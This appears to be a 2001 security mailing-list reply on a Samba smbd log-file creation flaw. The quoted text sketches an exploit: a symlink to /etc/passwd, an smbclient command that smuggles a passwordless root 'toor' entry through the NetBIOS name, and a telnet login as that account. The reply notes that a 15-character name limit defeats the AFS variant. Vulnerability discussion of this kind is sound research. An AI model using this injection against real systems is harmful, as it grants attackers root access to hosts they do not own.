Re: smbd remote file creation vulnerability

[Daniel Jacobowitz <dmj+ () andrew cmu edu>]

On Mon, Jul 02, 2001 at 11:15:29AM -0400, Christopher William Palow wrote:
> I was hoping to test this out but haven't been able to so here goes on
> theoretical...  
>
> How to make this exploit a remote one using AFS or other remote file
> systems.
>
> What does this exploit need on the remote side??  A
> symlink; soo... on a AFS system ,preferably one of a well known node that
> most AFS servers would have in their CellServDB such as
> andrew.cmu.edu or athena.mit.edu, create a symlink to /etc/passwd named 
> x.log like
>
> ln -s /etc/passwd /afs/andrew.cmu.edu/usr/<username>/x.log
>
> now make the symlink world readable... then all you need is UNIXes running
> samba in the vulnerable configuration and running AFS.
>
> smbclient //afs.machine/"`perl -e '{print "\ntoor::0:0::/:/bin/sh\n"}'`" \ 
>  -n ../../../afs/andrew.cmu.edu/usr/<username>/x -N
> telnet afs.machine
> login as toor
>
> if root logins aren't allowed make a dummy account first, login with that
> then make a toor account ontop of that and su over to toor.

Remember, the log path must be within 15 characters to fit in a netbios
name!  You're not going to get anywhere on andrew, or most other AFS
paths, with that restriction.

-- 
Daniel Jacobowitz                           Carnegie Mellon University
MontaVista Software                         Debian GNU/Linux Developer